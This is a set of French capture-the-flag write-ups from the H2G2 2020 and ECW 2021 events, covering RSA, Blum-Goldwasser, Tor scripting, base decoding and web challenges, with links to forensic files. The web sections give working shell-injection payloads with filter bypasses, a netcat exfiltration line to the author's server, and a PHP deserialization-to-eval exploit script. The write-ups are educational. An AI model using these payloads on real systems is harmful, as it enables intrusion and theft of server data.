/2020/H2G2/crypto/decryptor.md: -------------------------------------------------------------------------------- 1 | # Decryptor - 50 pts 2 | 3 | > Un secret chiffré par le serveur suivant à été intercepté. D'apès les premières analyses de nos experts, ce serveur déchiffre tous ce que vous lui donnez, sauf le flag chiffré ! Nous avons besoin de vous pour réussir à tout de même déchiffrer ce secret ! 4 | > 5 | > decryptor.interiut.ctf:1337 6 | > 7 | > - [public.pem](./public.pem) 8 | > - [secret](./secret) 9 | 10 | Nous avons une clé RSA publique et un nombre à décrypter. La clé fait 2048 bits, il est illusoire d'imaginer la casser. 11 | 12 | Il faut probablement chercher du côté du serveur que l'on nous fournit et qui déchiffre tous les messages que l'on veut sauf notre numéro `secret` qui correspond au flag chiffré. Essayons de voir comment nous pourront exploiter cela. Le serveur demande un chiffre et ne réagit pas aux lettres ni aux nombres à virgule... mais il répond si on lui passe un nombre négatif ! 13 | 14 | Pour comprendre la suite, il est nécessaire de connaître la notion de *modulo* (reste dans la division euclidienne) et le [fonctionnement du RSA](https://fr.wikipedia.org/wiki/Chiffrement_RSA#Fonctionnement_d%C3%A9taill%C3%A9). Pour rappel, la clé publique contient les nombres `n` et `e`. Si `M` est le message en clair et `C` le message chiffré, nous faisons ce calcul pour chiffrer un message : 15 | 16 | ![M^e = C mod n](https://render.githubusercontent.com/render/math?math=M^e%20\equiv%20C%20\mod%20n) 17 | 18 | Le serveur connaît un nombre `d`, incalculable pour nous, tel que : 19 | 20 | ![C^d = M mod n](https://render.githubusercontent.com/render/math?math=C^d%20\equiv%20M%20\mod%20n) 21 | 22 | Si l'on envoie `-1` à déchiffrer par exemple, le serveur répond un nombre égal à `n - 1` car (`d` étant impair) : 23 | 24 | ![(-1)^d = -1 mod n](https://render.githubusercontent.com/render/math?math=(-1)^d%20\equiv%20-1%20\mod%20n) 25 | 26 | Le reste dans la division euclidienne ne peut pas être négatif donc le serveur ajoute `n` une fois pour avoir un nombre tel que `0 <= C < n`. 27 | 28 | Il suffit donc d'envoyer l'opposé de notre nombre secret et on pourra déduire le flag car : 29 | 30 | ![](https://render.githubusercontent.com/render/math?math=%5Cbegin%7Balign%7D%28-C%29%5Ed%20%5Cequiv%20-%28C%5Ed%29%20%5Cmod%20n%20%5Cnonumber%20%5C%5C%28-C%29%5Ed%20%5Cequiv%20-M%20%5Cmod%20n%20%5Cnonumber%20%5C%5C%28-C%29%5Ed%20%5Cequiv%20n%20-%20M%20%5Cmod%20n%20%5Cnonumber%20%5C%5C%5Cend%7Balign%7D) 31 | 32 | Si on envoie `-secret`, le serveur nous répond `n - flag` ! 33 | 34 | Pour la forme je fais un joli script : 35 | 36 | ```python 37 | from Crypto.PublicKey import RSA 38 | from pwn import remote 39 | 40 | with open("public.pem") as f: 41 | key = RSA.import_key(f.read()) 42 | 43 | with open("secret") as f: 44 | secret = f.read() 45 | 46 | conn = remote("decryptor.interiut.ctf", 1337) 47 | 48 | conn.send(b'-'+secret.encode()) 49 | 50 | flag = key.n - int(conn.recvline().decode()[:-1]) 51 | 52 | conn.close() 53 | 54 | print(flag.to_bytes(39, 'big').decode()) 55 | ``` 56 | 57 | 58 | 59 | -------------------------------------------------------------------------------- /2020/H2G2/crypto/public.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9GOeCZB79Qa1m7UQ4OY9 3 | 8HKa7CoMYKLgvs6EGn8VsY4hRwcuJfq5B/CArbXgUu9FjSt8DIiQeU2rCqVlj3DE 4 | vRe1982WVJgTGj5Przy1+8lV0L8o9lhksZ+9scaZPuU74gIo+XIrGUgJBzJ1TeA8 5 | FFW1Y+BfUMckqrLnIaDjPEaAV1XUPtQbs8m+6owgIEV8pwQg+rLxJNx3Su01Ylcu 6 | 175uWUxbh71hKQq+D9HX+wxER7rUVijS+nd0KId6g/ngwDhLmkWKUPHQVL6hYYVR 7 | 6h/keUUknClRifYTcQwe2inMx5C4qUaTU9p2/aR+mkLY8hPKbmOJt2Qz+OBuOvnr 8 | iwIDAQAB 9 | -----END PUBLIC KEY----- 10 | -------------------------------------------------------------------------------- /2020/H2G2/crypto/sage1.md: -------------------------------------------------------------------------------- 1 | # Le SAGE doré - 20 pts 2 | 3 | > Le vieux sage du village se rappelle avoir reçu un message chiffré il y a longtemps par l'un de ses disciples, mais a malheureusement depuis perdu la clé privé correspondante. Il a directement pensé à vous et pense que cet mission sera parfaite pour débuter votre ascension vers la voie du SAGE, retrouvez la clé privé ainsi que le contenu du message. 4 | > 5 | > Commencez votre aventure ici : https://tinyurl.com/y4qvu9lv 6 | > 7 | > Voilà quelques ressources pour vous aider dans cette tâche : 8 | > 9 | > - http://doc.sagemath.org/html/en/reference/cryptography/index.html 10 | > 11 | > - https://www.unilim.fr/pages_perso/vincent.jalby/resources/commun/IntroSage2.pdf 12 | 13 | Le premier lien mène vers ce code : 14 | 15 | ```python 16 | # CHALLENGE 17 | from sage.crypto.public_key.blum_goldwasser import BlumGoldwasser 18 | from sage.crypto.util import bin_to_ascii, ascii_to_bin 19 | 20 | encrypted_flag = ([[1, 1, 1, 1, 0, 0], [1, 1, 1, 0, 1, 1], [1, 0, 1, 1, 1, 0], [0, 1, 1, 1, 0, 1], [0, 0, 0, 1, 1, 1], [0, 1, 0, 1, 1, 0], [0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0], [1, 1, 0, 0, 1, 0], [0, 1, 1, 1, 1, 1], [1, 0, 1, 0, 0, 0], [0, 1, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0], [0, 0, 1, 1, 1, 1], [1, 0, 0, 1, 0, 1], [1, 1, 1, 1, 0, 0], [0, 1, 1, 0, 0, 1], [1, 1, 0, 1, 0, 1], [0, 0, 1, 0, 0, 1], [1, 0, 0, 1, 0, 1]], 6049402465830679674781261764183) 21 | pub_key = 8054793366550713418339620131461 22 | ``` 23 | 24 | On retrouve la page de la documentation correspondant à [sage.crypto.public_key.blum_goldwasser](https://doc.sagemath.org/html/en/reference/cryptography/sage/crypto/public_key/blum_goldwasser.html#module-sage.crypto.public_key.blum_goldwasser). La clé publique est le produit de deux nombres premiers. Vu la taille du nombre, [WolframAlpha](https://www.wolframalpha.com/input/?i=factorize+8054793366550713418339620131461) retrouve les facteurs : `1489304211816227` et `5408427171993143`. Ne reste plus qu'à décoder : 25 | 26 | ```python 27 | bg = BlumGoldwasser() 28 | 29 | p, q = 1489304211816227, 5408427171993143 30 | 31 | print(bg.public_key(p, q)) # on retrouve bien la même clé publique 32 | 33 | flag_bits = bg.decrypt(encrypted_flag, bg.private_key(p, q)) 34 | 35 | print(bin_to_ascii(flatten(flag_bits))) 36 | ``` 37 | -------------------------------------------------------------------------------- /2020/H2G2/crypto/secret: -------------------------------------------------------------------------------- 1 | 27894212612486632514216239257400870619171133454101778962925249544326340301963944069858608662506465357671798085772840385798921676814302159488322178853581620235650996446093832566144742688847734518145357681701488781488852182807530903079647275409416170699753658199778067572800834163907087794535839842740194535956441665562362578195442164314430949936974469169343212942056032478104179162610385007560593441758864523332489780780648469256444440176287228524183221088838932552608847130171789605433928784467037613731971230412474987462072203712098579628186050741460889352012125226015085052337272092366056265676877284120507539486420 2 | -------------------------------------------------------------------------------- /2020/H2G2/forensic/Confidential.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/H2G2/forensic/Confidential.jpg -------------------------------------------------------------------------------- /2020/H2G2/forensic/Confidential.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/H2G2/forensic/Confidential.pdf -------------------------------------------------------------------------------- /2020/H2G2/forensic/exfiltration.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/H2G2/forensic/exfiltration.pcapng -------------------------------------------------------------------------------- /2020/H2G2/forensic/flag.txt: -------------------------------------------------------------------------------- 1 | H2G2{This_is_not_the_flag_¯\_(ツ)_/¯} 2 | -------------------------------------------------------------------------------- /2020/H2G2/forensic/ping_pong.md: -------------------------------------------------------------------------------- 1 | tshark -r ping_pong.pcapng -T fields -e data -Y "ip.src==10.5.0.2" | xxd -r -ps -c 1 2 | -------------------------------------------------------------------------------- /2020/H2G2/misc/DNA.md: -------------------------------------------------------------------------------- 1 | # D.N.A. - 20 pts 2 | 3 | > Rediscover your hacker's roots interiutwzsx3dvp.onion 4 | 5 | Ce site est une adresse du réseau Tor. J'installe donc [Tor Browser](https://www.torproject.org/download/). Voici à quoi ressemble la page : 6 | 7 | ![Capture d'écran](./site.png) 8 | 9 | À chaque rafraîchissement de la page, un nouveau token est donné. Tor Browser étant un navigateur Firefox, je commence par installer [RESTClient](https://addons.mozilla.org/fr/firefox/addon/restclient/), une extension permettant de créer des requêtes facilement. Je poste le JSON fourni et je reçois cette réponse : 10 | 11 | ```json 12 | {"quote":"4 c3n5u5 74k3r 0nc3 7ri3d 70 7357 m3. i 473 hi5 1iv3r wi7h 50m3 f4v4 b34n5 4nd 4 nic3 chi4n7i."} 13 | ``` 14 | 15 | C'est du [leet](https://fr.wikipedia.org/wiki/Leet_speak) (on comprend mieux le *unleeted* dans le texte de la page). Après plusieurs essais, on se rend compte que les transformations sont assez simples : les lettres `o`, `l`, `e`, `a`, `s`, `t` sont toujours remplacées par `0`, `1`, `3`, `4`, `5` et `7`. 16 | 17 | Je pourrais faire un programme dans la console JavaScript de Tor Browser mais ce n'est pas mon langage de prédilection et j'ai peur d'être limité par les restrictions de sécurité de ce navigateur. Je me dis que c'est donc l'occasion parfaite pour apprendre à utiliser un proxy [Socks5](https://fr.wikipedia.org/wiki/SOCKS), dont j'avais déjà entendu parler. 18 | 19 | Je fais des recherches et j'apprends que Tor Browser fournit naturellement un proxy socks5 sur le port 9150 ! Je tombe rapidement sur [cet exemple](https://gist.github.com/jefftriplett/9748036) : 20 | 21 | ```python 22 | import requests 23 | 24 | proxies = { 25 | 'http': 'socks5://127.0.0.1:9150', 26 | 'https': 'socks5://127.0.0.1:9150' 27 | } 28 | 29 | url = 'http://ifconfig.me/ip' 30 | 31 | response = requests.get(url) 32 | print('ip: {}'.format(response.text.strip())) 33 | 34 | response = requests.get(url, proxies=proxies) 35 | print('tor ip: {}'.format(response.text.strip())) 36 | ``` 37 | 38 | Cela fonctionne, j'arrive à accéder à des sites via Tor. Seulement cela ne fonctionne plus avec des site en `.onion`. [StackOverflow](https://stackoverflow.com/questions/51259693/python-requests-lib-working-via-proxysocks5-tor-error) me sauve la mise : il faut remplacer `socks5://` par `socks5h://` dans les adresses proxy. 39 | 40 | Voici le programme final : 41 | 42 | ```python 43 | import requests 44 | 45 | conv = {"0": "o", "1":"l", "3":"e", "4":"a", "5":"s", "7":"t"} 46 | 47 | s = requests.session() 48 | s.proxies['http'] = 'socks5h://127.0.0.1:9150' 49 | s.proxies['https'] = 'socks5h://127.0.0.1:9150' 50 | 51 | source = s.get("http://interiutwzsx3dvp.onion/").content.decode() 52 | token = source.split("\n")[23].split('"')[3] 53 | 54 | r = s.post('http://interiutwzsx3dvp.onion//challenge', json={"token": token}).json() 55 | 56 | while 'quote' in r: 57 | quote = r['quote'] 58 | print('\nchallenge :', quote) 59 | 60 | for k in conv: 61 | quote = quote.replace(k, conv[k]) 62 | 63 | print('answer:', quote) 64 | 65 | r = s.post('http://interiutwzsx3dvp.onion//challenge', json={"token": token, "payload": quote}).json() 66 | 67 | 68 | print("\n", r) 69 | 70 | ``` 71 | 72 | Cela tourne une petite minute avant d'afficher : 73 | 74 | ```json 75 | {'congratz': 'First step completed, gg wp', 'flag': 'H2G2{th3r3_1s_n0_SP00N}'} 76 | ``` 77 | 78 | Merci Masterfox pour ce misc super original ! -------------------------------------------------------------------------------- /2020/H2G2/misc/bases.md: -------------------------------------------------------------------------------- 1 | # 1110011 1100001 1101100 1110101 1110100 - 20 pts 2 | 3 | > 2202 1110 10121 10220 11001 10202 11020 10121 10220 11021 1012 11021 10121 11101 11010 10220 11020 1012 10200 11010 11001 11001 10202 11002 11022 1012 10210 10121 10220 11020 10202 1012 11100 11002 10202 1012 10122 11010 11002 11002 10202 1012 11011 11100 11020 10202 10202 4 | > 5 | > salut.interiut.ctf:1337 6 | > 7 | > Hint: Bon, ok, ça respecte pas les RFC ... Mais c'est quand même plus logique 8 | 9 | Mon premier réflexe est d'utiliser [CyberChef](https://gchq.github.io/CyberChef/) pour décoder le titre mais cela ne donne rien. En étant plus attentif (et grâce à l'indice) on voit que les bits sont regroupés par groupe de 7 ! Si on les décode indivuduellement, on obtient `115 97 108 117 116` soit les codes ASCII des lettres `s a l u t`. 10 | 11 | La description semble être en base 3, on la convertit en entier en respectant les groupes puis on décode comme étant de l'ASCII : `J'aimerais savoir comment faire une bonne puree`. 12 | 13 | Maintenant `nc salut.interiut.ctf 1337` pour discuter avec le serveur. Il envoie un texte encodé de façon similaire au titre (en binaire) puis si on envoie la bonne réponse, il envoie un texte en base 3 puis en base 4... Il va falloir automatiser le décodage. En tâtonnant on voit que le dernier challenge est de la base 31 puis le flag est envoyé. 14 | 15 | ```python 16 | from pwn import remote 17 | 18 | conn = remote('salut.interiut.ctf', 1337) 19 | 20 | for base in range(2, 32): 21 | txt = conn.recvline().decode()[:-1] 22 | 23 | answer = "" 24 | for i in txt.split(): 25 | answer += chr(int(i, base)) 26 | print(answer) 27 | conn.send(answer.encode()+b'\n') 28 | 29 | print("\n", conn.recvline().decode()) 30 | 31 | conn.close() 32 | ``` 33 | 34 | Résultat : 35 | 36 | ``` 37 | Je s4is dej4 f4ire l4 r4t4touille, les endives 4u j4mbon, le gr4tin 38 | Et plein d'autres plats qui n'0nt rien a v0ir avec une b0nne puree 39 | Qu3l 3st votr3 s3cr3t ? 40 | Le l4it ? Le beurre ? L4 creme ? 41 | Qu3l 3st votr3 s3cr3t ? 42 | S'il v0us pl4it 4idez-m0i 43 | Qu3l 3st votr3 s3cr3t ? 44 | P0ur f4ire une b0nne puree, ce qui est p4s m4l qu4nd 0n cuit les p0mmes de terre 45 | C'3st d3 m3ttr3 du lauri3r 3t du thym pour parfum3r 3n amont 46 | Apres tu peux 4j0uter n'imp0rte quel epice 47 | Tu p3ux m3ttr3 du safran, du curcuma, du ging3mbr3 48 | Ou une g0usse d'4il une f0is que les p4t4tes s0nt petries 49 | Et si la pur33 a cram3 50 | Rec0uvre-l4 4vec un chiff0n m0uille 51 | Et fais coul3r du s3l d3ssus 52 | P0ur 4bs0rber les senteurs de brule 53 | Excus3 moi, mais c'3st pas vraim3nt ca qu3 j'avais d3mand3 54 | Le pr0bleme 4vec m4 puree c'est qu'elle n'est p4s 0nctueuse 55 | P3ux-tu m'3xpliqu3r, comm3nt obt3nir un3 t3xtur3 parfait3 ? 56 | P0ur l4 puree 0nctueuse ce qu'il f4ut dej4 57 | C'3st pas trop la m3lang3r ou l'3cras3r 58 | Puisque c0mme d4ns l4 puree il y 4 du gluten c4 v4 devenir tres el4stique 59 | L'utilisation du pr3ss3-pur33 a l3vi3r p3rm3t d'obt3nir un3 pur33 plus fin3 3t l3g3r3 60 | T0ut est d4ns l4 texture 61 | Car la pur33 trop collant3 3st vraim3nt tr3s d3c3vant3 62 | Pense 4 c4 4v4nt de cuisiner et tu reussir4s une b0nne puree 63 | Tu v3rras, c'3st plus facil3 qu3 ca 3n a l'air 64 | Et surt0ut, 4pres c4 tu ne v0udr4s plus d'une 4utre puree 65 | J'ai 4 homm3s a la maison 3t ils s3 r3gal3nt tous 66 | Il n'en reste j4m4is ! 67 | 68 | H2G2{D0_y0u_l1k3_14_pur33_?} 69 | ``` 70 | 71 | Cela permet un bon rappel que les données informatiques ne sont que des chiffres et qu'il faut les considérer comme tel ;) -------------------------------------------------------------------------------- /2020/H2G2/misc/site.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2020/H2G2/misc/site.png -------------------------------------------------------------------------------- /2020/H2G2/web/dedeos.md: -------------------------------------------------------------------------------- 1 | # DéDéOS 2 | 3 | Ce challenge est découpé en 3 parties. Nous accédons à chaque fois à une page similaire où il faudra faire une injection de commandes shell. À chaque étape de nouveaux tests sont effectués pour empêcher les injections. 4 | 5 | 6 | 7 | ## DéDéOS 1 - 10 pts 8 | 9 | > Serveur de déni de service en masse pour les 1337 h4xorz. Essayer de prouver au propriétaire que c'est de la merde. Lire le fichier contenant le flag. 10 | > 11 | > http://dedeos-1.interiut.ctf/ 12 | 13 | La page présente un formulaire où entrer une adresse IP. Nous pouvons supposer que le code PHP (des headers PHP sont envoyés par le serveur) fait un ping de cette IP pour afficher `Cible atteinte` ou `Cible non atteignable` sur la page. 14 | 15 | On essaie d'injecter `;ls;` par exemple et nous obtenons carrément la sortie de la commande : 16 | 17 | Nous pouvons faire `;ls -lRa;` pour localiser le flag puis `;cat secret/the/flag/is/here/.flag;` pour l'afficher. 18 | 19 | On peut également afficher le code PHP : 20 | 21 | ```php 22 | if(isset($_POST['submit']) && isset($_POST['ip']) && !empty($_POST['ip'])){ 23 | $ip = $_POST['ip']; 24 | echo "

Résultat de l'attaque :

"; 25 | echo "
".shell_exec("ping -c 1 $ip > /dev/null && echo 'Cible atteinte' || echo 'Cible non atteignable'")."
"; 26 | } 27 | ``` 28 | 29 | (Ce code sera le même au fil des étapes mais des vérifications seront effectuées sur notre entrée.) 30 | 31 | ## DéDéOS 2 - 20 pts 32 | 33 | > ​ Le propriétaire s'est rendu compte de votre talent, il vous met au défi de nouveau 34 | > 35 | > http://dedeos-2.interiut.ctf/ 36 | 37 | La page semble identique à la précédente. `;ls;` renvoie une réponse mais `;ls -lRa;` ne passe pas : `Attaque malicieuse détectée`. Il semblerait que les espaces soient interdits. Il suffit alors de les remplacer par `${IFS}` ! En effet, `;ls${IFS}-laR;` nous énumère les fichiers et `;cat${IFS}flag/it/is/soon/here/flag.md;` affiche le flag. 38 | 39 | Le code qui nous testait : 40 | 41 | ```php 42 | if(isset($_POST['submit']) && isset($_POST['ip']) && !empty($_POST['ip'])){ 43 | $ip = $_POST['ip']; 44 | if(strstr($ip, " ")){ 45 | die("
Attaque malicieuse détectée.
"); 46 | } 47 | echo "

Résultat de l'attaque :

"; 48 | echo "
".shell_exec("ping -c 1 $ip > /dev/null && echo 'Cible atteinte' || echo 'Cible non atteignable'")."
"; 49 | } 50 | ``` 51 | 52 | ## DéDéOS 3 - 50 pts 53 | 54 | Cette fois-ci `;ls;` ne passe pas car les `;` sont interdits. Compte tenu de la structure de la commande, je pense qu'il n'y a que 2 solutions : une injection en blind en jouant avec le code de retour (très long et on est pas dans du misc) ou alors exfiltrer des données avec netcat par exemple. 55 | 56 | Je lance netcat en écoute sur le port 2020 de mon VPS puis j'injecte `||ls${IFS}-laR|nc${IFS}ribt.fr${IFS}2020`. Je récupère bien la liste des fichiers et `||cat${IFS}.secret/2/1/3/flag.txt|nc${IFS}ribt.fr${IFS}2020` me permet de récupérer le flag. 57 | 58 | Le code : 59 | 60 | ```php 61 | if(isset($_POST['submit']) && isset($_POST['ip']) && !empty($_POST['ip'])){ 62 | $ip = $_POST['ip']; 63 | if(strstr($ip, " ") || strstr($ip, ";")){ 64 | die("
Attaque malicieuse détectée.
"); 65 | } 66 | echo "

Résultat de l'attaque :

"; 67 | echo "
".shell_exec("ping -c 1 $ip > /dev/null && echo 'Cible atteinte' || echo 'Cible non atteignable'")."
"; 68 | } 69 | ``` 70 | 71 | Légèrement déçu de ne pas aller plus loin avec des interdictions de lettres par exemple... -------------------------------------------------------------------------------- /2020/H2G2/web/shrug.md: -------------------------------------------------------------------------------- 1 | # :shrug: - 20 pts 2 | 3 | > http://shrug.interiut.ctf/ 4 | 5 | La page a la bonne idée de nous donner son code source : 6 | 7 | ```php 8 | order = $_POST['b_order']; 19 | } else { 20 | $this -> order = "eau"; 21 | } 22 | } 23 | 24 | public function __wakeup() { 25 | echo $this -> kevin($this -> order); 26 | } 27 | 28 | public function kevin($order) { 29 | $drinks = ["eau", "moscow_mule", "dark_n_stormy", "mojito", "sex_on_the_beach", "duchesse"]; 30 | if(in_array($order, $drinks)) { 31 | return "Votre " . $order . " est en préparation."; 32 | } else { 33 | eval($order); 34 | } 35 | } 36 | } 37 | 38 | $a = $_GET['dio']; 39 | $b = $_GET['jotaro']; 40 | $c = $_POST['stand']; 41 | 42 | if(isset($a) && isset($b) && isset($c)) { 43 | if($c == "Hermit Purple") { 44 | unserialize($_GET['dio']); 45 | } 46 | } 47 | ``` 48 | 49 | Drôle de code... Si l'on envoie les paramètres `dio` en GET, `jotaro` en GET et `stand` en POST et que `stand` est égal à `Hermit Purple` alors le contenu de `dio` est désérialisé ! 50 | 51 | Je me dis que quitte à avoir le code, autant le copie sur mon propre serveur en mettant des `echo` partout et en activant les warnings pour gagner du temps. Je lance également le code dans une console PHP interactive : 52 | 53 | ```php 54 | php> $b = new Boussole; 55 | php> echo serialize($b); 56 | O:8:"Boussole":1:{s:5:"order";s:3:"eau";} 57 | ``` 58 | 59 | Comme on le voit dans le code de la page, si la boisson n'est pas dans la liste alors on fait un `eval` dessus. Voici le code Python pour exécuter une commande shell : 60 | 61 | ```python 62 | import requests 63 | from urllib.parse import quote_plus 64 | 65 | payload = "system('ls -lRa');" 66 | serial = quote_plus('O:8:"Boussole":1:{s:5:"order";s:'+str(len(payload))+':"'+payload+'";}') 67 | 68 | r = requests.post(f"http://shrug.interiut.ctf/?dio={serial}&jotaro=b", data={'stand':'Hermit Purple', 'b_order':"1"}) 69 | 70 | print(r.content.decode()) 71 | ``` 72 | 73 | On obtient la liste des fichiers et l'on voit un fichier au nom étrange que l'on peut lire directement dans le navigateur : http://shrug.interiut.ctf/b0e4c25d3de6860f7a396a8148a42fda.txt 74 | 75 | ``` 76 | H2G2{Uns3rial1z4tiOn_iS_eAsY_r1ght?} 77 | ``` 78 | 79 | -------------------------------------------------------------------------------- /2021/ECW/README.md: -------------------------------------------------------------------------------- 1 | The European Cyber Week is a French event. The CTF is organized by Thalès and the COMCYBER and it is reserved to students. 2 | 3 | ## Foresensics 4 | 5 | - [Response Team](./forensics/ResponseTeam.md) 6 | 7 | - [Nightly Planet](./forensics/NightlyPlanet.md) 8 | 9 | ## OSINT 10 | 11 | - [RedTeam](./pentest/RedTeam.md) 12 | 13 | -------------------------------------------------------------------------------- /2021/ECW/forensics/CONFIDENTIAL.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/CONFIDENTIAL.pdf -------------------------------------------------------------------------------- /2021/ECW/forensics/ECW_chall_JBV.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/ECW_chall_JBV.pcapng -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Application.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Application.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/HardwareEvents.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/HardwareEvents.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Internet Explorer.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Internet Explorer.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Key Management Service.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Key Management Service.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Client-Licensing-Platform%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Client-Licensing-Platform%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-AAD%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-AAD%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-AppModel-Runtime%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-AppModel-Runtime%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-AppReadiness%4Admin.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-AppReadiness%4Admin.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-AppReadiness%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-AppReadiness%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-AppXDeployment%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-AppXDeployment%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-AppXDeploymentServer%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-AppXDeploymentServer%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Program-Compatibility-Troubleshooter.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Program-Inventory.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Program-Inventory.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-AppxPackaging%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-AppxPackaging%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Authentication User Interface%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Authentication User Interface%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx -------------------------------------------------------------------------------- /2021/ECW/forensics/Logs/Microsoft-Windows-Biometrics%4Operational.evtx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/ECW/forensics/Logs/Microsoft-Windows-Biometrics%4Operational.evtx 